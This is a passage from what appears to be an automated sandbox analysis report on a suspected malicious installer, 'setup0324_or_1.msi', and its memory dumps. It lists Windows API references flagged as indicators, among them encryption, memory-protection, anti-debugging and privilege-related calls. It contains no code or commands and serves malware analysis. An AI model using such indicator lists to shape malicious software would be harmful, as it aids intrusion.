reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "RtlUnwind"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetLocaleInfoA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "EnumSystemLocalesA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "IsValidLocale"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetStringTypeA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetStringTypeW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "HeapSize"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetFilePointer"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetConsoleCP"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetConsoleMode"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CreateProcessW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LCMapStringA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LCMapStringW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InterlockedExchange"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "LoadLibraryA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetStdHandle"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "WriteConsoleA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "WriteConsoleW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CompareStringW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetLocaleInfoW"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "CreateFileA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "FlushFileBuffers"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InitializeCriticalSection"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetProcessHeap"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "GetModuleHandleA"; File: "setup0324_or_1.msi") Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetNumberFormatW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004680.00000001.213645.02EC0000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00004680.00000001.213645.02EC0000.00000004.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsBadReadPtr"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LoadCursorA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LoadIconA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00006420.00000000.216677.00960000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: 